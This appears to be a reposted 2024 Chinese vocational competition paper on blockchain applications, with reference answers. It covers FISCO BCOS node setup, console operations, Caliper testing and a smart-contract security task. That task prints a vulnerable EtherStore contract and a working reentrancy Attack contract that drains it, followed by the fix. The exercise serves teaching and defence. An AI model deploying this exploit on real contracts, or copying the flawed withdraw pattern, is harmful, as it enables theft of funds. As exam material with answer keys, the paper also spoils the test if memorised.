2024年全国职业院校技能大赛高职组“区块链技术应用”赛项赛卷(1卷)

2024年全国职业院校技能大赛

高职组

 

 

“区块链技术应用”

赛项赛卷(1卷)

 

 

 

参赛队编号:             

 

低价出区块链资料OVO06030

背景描述

随着消费需求的不断变化,消费者对食品安全的关注度越来越高,希望能参与食品供应链管理,让每个环节都透明化。但传统的供应链管理依靠纸张记录,保存数据具有随意性,消费者无法确认其真实性。此外,传统管理模式中心化,多数环节间信息流通不畅,影响供应链管理效率。因此,供应链管理面临效率和安全透明的双重挑战,迫切需要有效变革,促进食品供应链更高效、透明和安全。

从技术层面来看,区块链技术具有去中心化、公开透明、不可篡改等优点,可解决食品供应链短板,与现行管理相结合,不仅可提升透明度,还可提升管理效率。

通过构建基于区块链技术的食品安全溯源平台,有效将包括生产日期、生产产地、生产商、流通企业等食品安全溯源相关信息通过区块链去中心化的方式存储,有效保证了数据真实以及不可篡改。另一方面,借助区块链智能合约技术,灵活设计食品安全溯源相关业务,在确保数据安全的前提下实现透明公开,在此基础上引入监管机制有效保证业务良性开展。

模块一 区块链产品方案设计及系统运维:

 

任务1-1:区块链产品需求分析与方案设计

 

1.依据给定区块链食品溯源系统的业务架构图,对考题进行业务分析,尽可能多的去考虑一个业务系统所需要的模块,使用Visio或思维导图工具展现本系统的基本设计概念和处理流程,要求分为区块链食品溯源业务平台和支撑平台两个部分;

参考答案:

2.据描述,设计区块链系统的总体功能概览图。

参考答案:

根据系统整体功能描述,系统中需要包括用户以及对应溯源订单相关的销售、收购、运输、收购以及生产流程。其中用户需要进行权限划分,不同权限的用户针对系统的操作将受限。例如具有生产商角色的用户只能进行生产订单的创建。同时系统需要具备查询功能,所有系统数据在进行脱敏后都可被所有用户查询。

3. 整合上述设计内容,完善“01系统概要设计说明书.doc”,具体工作内容如下:

  1. 将设计内容根据说明书中模块需求进行补充,并完善概要设计说明书中的“需求概要”。
  2. 完善说明书中接口说明部分内容。

参考答案:

参照“食品溯源系统概要设计说明书的答案.doc”文档中内容。

任务1-2:区块链系统部署与运维

围绕食品安全溯源区块链平台部署与运维需求,进行项目相关系统、节点以及管理工具的部署工作。通过通过监控工具完成对网络、节点服务的监控。最终利用业务需求规范,完成系统日志、网络参数、节点服务等系统结构的维护。

1. 根据参数与端口设置要求,部署区块链系统并验证;

2. 根据参数与端口设置要求,部署区块链网络管理平台并验证;

3. 基于区块链系统相关管理平台,按照任务指南实施系统运维工作并验证。

4. 基于区块链系统相关监管工具,按照任务指南对区块链系统进行监管。

 

子任务1-2-1: 搭建区块链系统并验证

基于给定服务器环境以及软件(地址“/root/tools”),搭建一条4节点的区块链系统并验证,具体工作内容如下:

1. 采用默认配置搭建区块链网络;

参考答案:

(1)配置网络

命令: bash build_chain.sh -l 127.0.0.1:4 -p 30300,20200,8545 -e ./fisco-bcos -v 2.8.0

输出:

(2)启动网络节点

命令: bash nodes/127.0.0.1/start_all.sh

输出:

2. 通过命令验证区块链节点进程运行状况

参考答案:

检查进程

命令: ps -ef | grep -v grep | grep fisco-bcos

输出:

3. 通过命令验证区块链连接状态和共识状态日志输出

参考答案:

命令: tail -f nodes/127.0.0.1/node0/log/log*  | grep connected

输出:

子任务1-2-2:搭建区块链系统管理平台并验证

基于给定服务器环境以及软件(地址“/root/tools”),搭建区块链控制台并开展相关运维工作,具体工作内容如下:

1. 配置可视化平台,管理相关证书并启动。

参考答案:

(1)配置控制台证书。

命令: cp -n console/conf/config-example.toml console/conf/config.toml

操作截图:

(2)启动控制台

命令: cd console && bash start.sh

输出:

2. 使用控制台安装HelloWorld智能合约。

参考答案:

命令: deploy HelloWorld

此处需记录合约地址。

3. 使用控制台完成HelloWorld智能合约的set与get操作

参考答案:

(1)调用set操作

命令: call HelloWorld 0x26255782cf37d290a00efaa4ca1201b1ff9be081 set "Hello,BlockChain"

此处合约地址需与上一步骤相同。

(2)调用get操作

命令:call HelloWorld 0x26255782cf37d290a00efaa4ca1201b1ff9be081 get

4. 使用控制台查看区块链中区块高度。

参考答案:

命令:getBlockNumber

子任务1-2-3:区块链节点运维

基于已完成的区块链系统与管理平台搭建工作,开展区块链节点的加入与退出运维工作,具体内容如下:

1. 获取区块链节点输出等级为警告级,并设置日志存储阈值位100MB并验证

参考答案:

(1)修改配置文件: vi node0/config.ini

(2)重新启动节点node0,使配置文件生效。

命令:bash node0/stop.sh && node0/start.sh

2. 通过给定工具(地址/root/tools)完成新节点(node4)配置

参考答案:

(1)使用gen_node_cert.sh生成新节点node4

命令: ./gen_node_cert.sh -c nodes/cert/agency -o node4

(2)将新节点node4复制到节点群nodes目录下。

命令:cp -r ./node4/ nodes/127.0.0.1/

(3)将新节点node4复制到节点群nodes目录下。

命令:cd nodes/127.0.0.1/ && cp node0/config.ini node0/start.sh node0/stop.sh node4/

(4)修改node4/config.ini。

对于[rpc]模块,修改channel_listen_port和jsonrpc_listen_port;

对于[p2p]模块,修改listen_port并在node.中增加自身节点信息;

命令:vi node4/config.ini

(5) 复制群组配置信息

命令:cp node1/conf/group.1.genesis node4/conf/ && cp node1/conf/group.1.ini node4/conf/

3.启动新节点加入区块链系统并验证

命令: cd node4 && bash stop.sh && bash start.sh

(2)检查新节点连接情况

子任务1-2-4:区块链网络运维

根据根据任务描述要求,完成网络配置与管理运维操作,具体内容如下:

1. 设置区块链系统黑名单,将node3设为黑名单禁止连接,并验证

参考答案:

(1)查看node0节点的连接状态日志(现有4个节点连接)

命令:tail -f node0/log/log*  | grep connected

(2)编辑节点node0的config.ini文件,将node3设为黑名单禁止连接

查看node3的id

命令:cat node3/conf/node.nodeid

命令:vi node0/config.ini

编辑certificate_blacklist,设置node3节点ID为黑名单

(3)重新启动节点

命令:bash node0/stop.sh && node0/start.sh

 (4)查看node0节点的连接状态日志(现有3个节点连接)

命令:tail -f node0/log/log*  | grep connected

(5)重复操作(1)-(4)完成node1节点配置和验证

(6)重复操作(1)-(4)完成node2节点配置和验证

(7)重复操作(1)-(4)完成node4节点配置和验证

2. 设置系统中区块打包最大交易数量设为2000;

参考答案:

(1)启动控制台:命令:bash start.sh

(2)设置区块打包最大交易数量为2000

命令: setSystemConfigByKey tx_count_limit 2000

3. 验证区块最大打包交易数量情况。

参考答案:

检查区块最大打包交易数量设置生效

命令:getSystemConfigByKey tx_count_limit

任区块链系统测试 务1-3:

    设计对区块链系统的测试流程;结合实际业务需求,调用部署的智能合约中进行系统测试、性能测试等;根据业务需求,分析并且修复给定智能合约中的安全漏洞。利用模拟业务和测试工具来完成对区块链系统服务数据的测试。

1. 使用命令启动区块链系统可视化一体平台并验证启动情况

参考答案:

命令: python3 deploy.py startAll

实现基于浏览器测试启动情况验证(访问地址http://{服务端IP}:5000)

2. 通过可视化平台生成包括生产商(Producer)、经销商(distributor)、零售商(retailer)账户,并将账户以p12加密形式导出后倒入指定前置可视化平台,验证地址一致性。

参考答案:

(1)验证producer地址一致

(2)验证distributor地址一致

(3)验证retailer地址一致

3.使用Postman对上述功能接口进行验证,并将验证结果截图提交工程文档。

  1. 对食品溯源系统服务端“添加食品”(/produce)功能接口进行验证,并将验证结果截图提交工程文档。

请求路由:

/produce

请求方法:

POST

输入项说明:

输入项

类型

说明

traceNumber

String

追踪编号

foodName

String

食品名称

traceName

String

存证人地址

quality

Integer

食品质量

 

输出项说明:

输出项

类型

说明

ret

Integer

返回值

msg

Strng

返回消息,"Success"表示操作成功

 

参考答案:

使用Postman正确调用情况如下:

4.  参照工程项目(地址:“/root/projects”)使用Caliper测试工具对食品安全溯源系统智能合约生成新食品(newFood)功能进行压力测试。具体要求如下:

  1. 提供核心测试代码。

参考答案:

(1)config.yaml核心代码

(2)newFood.js核心代码

  1. 设置txNumber=10,tps=1,所有测试通过率为100%(1分)

参考答案:

执行命令:

npx caliper benchmark run --caliper-workspace caliper-benchmarks --caliper-benchconfig benchmarks/samples/fisco-bcos/trace/config.yaml  --caliper-networkconfig networks/fisco-bcos/test-nw/fisco-bcos.json

 

正确执行结果:

 

report.html

 

5. 智能合约安全漏洞测试。

有如下问题智能合约:

pragma solidity >=0.8.3;

 

contract EtherStore {

    mapping(address => uint) public balances;

 

    function deposit() public payable {

        balances[msg.sender] += msg.value;

        emit Balance(balances[msg.sender]);

    }

 

    function withdraw() public {

        uint bal = balances[msg.sender];

        require(bal > 0);

 

        (bool sent, ) = msg.sender.call{value: bal}("");

        require(sent, "Failed to send Ether");

 

        balances[msg.sender] = 0;

    }

 

    // Helper function to check the balance of this contract

    function getBalance() public view returns (uint) {

        return address(this).balance;

    }

}

 

contract Attack {

    EtherStore public etherStore;

 

    constructor(address _etherStoreAddress) {

        etherStore = EtherStore(_etherStoreAddress);

    }

 

    // Fallback is called when EtherStore sends Ether to this contract.

    fallback() external payable {

        if (address(etherStore).balance >= 1) {

            etherStore.withdraw();

        }

    }

 

    function attack() external payable {

        require(msg.value >= 1);

        etherStore.deposit{value: 1}();

        etherStore.withdraw();

    }

 

    // Helper function to check the balance of this contract

    function getBalance() public view returns (uint) {

        return address(this).balance;

    }

}

  1. 分析智能合约中存在问题,并说明危害。

参考答案:

此智能合约存在“重入”即“Re-Entrance”问题,由于调用智能合约的转账操作操作需要通过打包后才会生效,可能出现重复提现从而使得其他合约账户被盗的问题。

 

  1. 根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞。(1分)

参考答案:

在migrations文件夹中加入代码部署的执行代码:

具体测试用例代码如下:

当有如下执行返回说明复现成功:

  1. 创建新的智能合约,修复其中问题,说明修复内容并测试。

参考答案:

    如下为具体修改内容,主要修复点为withdraw()的体现方法,具体操作为先将账户清零,再转账

    使用同样的测试用例进行操作,如下为测试用例:

    如下为执行结果:


 出区块链技术应用赛题资料(需要的加V):

 


 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值